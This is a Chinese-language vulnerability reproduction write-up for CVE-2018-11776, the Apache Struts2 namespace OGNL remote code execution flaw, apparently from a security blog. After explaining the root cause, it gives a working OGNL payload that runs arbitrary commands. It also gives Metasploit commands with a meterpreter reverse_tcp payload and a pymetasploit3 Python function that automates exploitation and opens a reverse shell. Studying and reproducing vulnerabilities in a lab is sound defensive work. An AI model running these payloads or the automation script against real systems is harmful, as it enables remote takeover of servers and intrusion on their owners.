漏洞复现 (1):CVE-2018-11776 Struts2 远程代码执行

Apache Struts 版本 2.3 到 2.3.34 和 2.5 到 2.5.16,当 alwaysSelectFullNamespace 为 true 时,可能会遭受远程代码执行的影响。本文将分析并复现该漏洞,其 CVE 编号为 CVE-2018-11776。

复现环境

攻击机:Ubuntu 20, 192.168.10.100, metasploit (docker)

靶机:Ubuntu 18, 192.168.10.80, Tomcat (7.0.79), Struts2 ()

漏洞分析

影响版本

  • Struts2 2.5.0 ~ 2.5.16
  • Struts2 2.3.0 ~ 2.3.34

漏洞出现的情况

  1. 定义 XML 配置时如果 namespace 值未设置,且上层动作配置(Action Configuration)中未设置或使用通配符 namespace 时可能会导致远程代码执行。
  2. url 标签未设置 value 和 action 值且上层动作未设置或使用通配符 namespace 时可能会导致远程代码执行。

Namespace 用于将 action 分为逻辑上的不同模块,可以避免 action 重名的情况。默认的 namespace 为空,当所有的 namespace 中都找不到时才会在这个 namespace 中寻找。

第一种情况

在 struts.xml 配置文件中,如果没有为基础 xml 配置中定义的 result 设置 namespace,且上层 <action> 标签中没有设置 namespace 或使用通配符 namespace 时,则可能存在远程代码执行漏洞。如:

<struts>
<package ....>
<action name="a1">
<result type="redirectAction">
<param name="actionName">a2.action</param>
</result>
</action>
</package>
</struts>

第二种情况

如果 sturts 的 url 标签 <s:url> 中未设置 value 和 action 值,且关联的 action 标签未设置或使用通配符 namespace 时可能会导致远程代码执行。如:

<s:url action="/hello/hello_struts2" var="hello" >
<s:param name="messageStore.message">Struts2 Tags</s:param>
</s:url>
<a href="${hello}">你好Struts2 Tag</a>

漏洞成因

FilterDispatcher 是 struts2 的核心控制器,负责拦截所有的用户请求,然后 FilterDispatcher 通过调用 ActionMapper(接口)来决定调用哪个 Action。

Struts2 默认调用 DefaultActionMapper 这一实现类中的 getMapping 方法来解析 request 来判断调用哪个 action(报错 namespace、name、method),其中 ActionMapper 是通过 parseNameAndParameters 方法来获取 namespace 的。

当 alwaysSelectFullNamespace 为 true 时,会严格按照 uri 提供的 namespace 去寻找 action,找不到就会报 404,所以这种情况下就算我们可以构造任意的 namespace,但由于找不对应的 action,在将 namespace 当 ognl 表达式执行代码前请求就会报 404 的错误,攻击不能成功。好在 alwaysSelectFullNamespace 的缺省值为 false,这时:

1. 假设请求路径的 URL 是:http://localhost:8081 / 项目名 /path1/path2 /addUser.action

2. 首先寻找 namespace 为 /path1/path2 的 package,如果存在这个 package,则在这个 package 中寻找名字为 addUser 的 action,若找到则执行,否则转步骤 5;如果不存在这个 package 则转步骤 3。

3. 寻找 namespace 为 /path1 的 package,如果存在这个 package,则在这个 package 中寻找名字为 addUser 的 action,若找到则执行,否则转步骤 5;如果不存在这个 package 则转步骤 4。

4. 寻找 namespace 为 / 的 package,如果存在这个 package,则在这个 package 中寻找名字为 addUser 的 action,若找到则执行,转步骤 5;如果不存在转步骤 5。

5. 如果存在缺省的命名空间,就在该 package 下查找名字为 addUser 的 action,若找到则执行,否则页面提示找不到 action;否则提示面提示找不到 action。

这也就是前文中所描述的为什么攻击需要 “上层 <action> 标签中没有设置 namespace 或者是使用通配符 namespace 时” 这一条件,这种情况下,可以构造任意 namespace 而请求不会出错。

仅仅构造了任意的 namespace 还不够,还需要一个爆发点才行。这里以 edirectAction 这一返回类型来进行分析,redirectAction 对应的类是 org.apache.struts2.result.ServletActionRedirectResult。(实际上不止这一个类有问题,chain 和 postback 这两个返回类型都有问题)。

在所请求的 Action 执行完后,会调用 ServletActionRedirectResult.execute () 进行重定向 Result 的解析,通过 ActionMapper.getUriFromActionMapping () 重组 namespace 和 name 后,由 setLocation () 将带 namespace 的 location 放入父类 ServletRedirectResult 中调用 execute 方法,然后 ServletRedirectResult 又会调用父类 StrutsResultSupport 中的 exectue 方法。

最后由 StrutsResultSupport 调用 conditionalParse (location,invocation) 方法,通过 TextParseUtil.translateVariables () 调用 OgnlTextParser.evaluate () 解析执行 url 中的 OGNL 表达式,导致代码执行。

复现过程

环境搭建

为了方便起见,直接使用了 oznetnerd/cve-2018-11776-struts2 这个 docker 中配置好的环境,使用 docker cp 命令将 tomcat 打包文件复制到本地再解压即可。不过需要提前在本地配置好 JAVA 环境,我用的是 1.8 版本的 JAVA。

在 tomcat/bin 目录下运行 startup.sh 脚本即可启动 tomcat。

手工复现

通过 URL 访问链接 http://10.245.153.203:8080/showcase/${233*233}/help.action,发现花括号中的表达式被自动计算了,说明存在漏洞。

接下来就可以使用下面的 payload 来替换掉原来表达式所在位置,执行任意代码了。其中的 id 为 linux 获取当前用户 ID 的命令,可以手动替换为其他命令。记得在访问前,需要将下面的命令编码一下。

${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

但是在我这里一直没有成功,可能是环境配置的问题吧。

msf 复现

msfconsole
use exploit/multi/http/struts2_namespace_ognl
set payload linux/x64/meterpreter/reverse_tcp
set ACTION help.action
set rhost ...
set lhost ...
exploit

msf 自动化脚本复现

使用 pymetasploit3 库,核心代码如下:

def cve_2018_11776(self, target_ip):
exploit = self.client.modules.use('exploit', 'multi/http/struts2_namespace_ognl')
print("Set exploit module successfully!")
exploit['ACTION'] = 'help.action'
exploit['RHOST'] = target_ip
# exploit.target = 2
payload = self.client.modules.use('payload', 'linux/x64/meterpreter/reverse_tcp')
payload['LHOST'] = self.attack_ip
payload['LPORT'] = self.ports
print("set payload successfully!")
self.ports += 1
console = self.client.consoles.console(self.client.consoles.console().cid)
session_len_tmp = len(self.client.sessions.list)
print(console.run_module_with_output(exploit, payload=payload))
sleep(5)
if len(self.client.sessions.list) == session_len_tmp:
print("Failed to get session!")
else:
print("You have got a shell!")
cmd = 'sysinfo'
self.sessions[self.client.sessions.list[str(self.session_id)]['target_host']] = str(self.session_id)
shell = self.client.sessions.session(str(self.session_id))
self.session_id += 1
shell.write(cmd)
sleep(5)
print(shell.read())

参考链接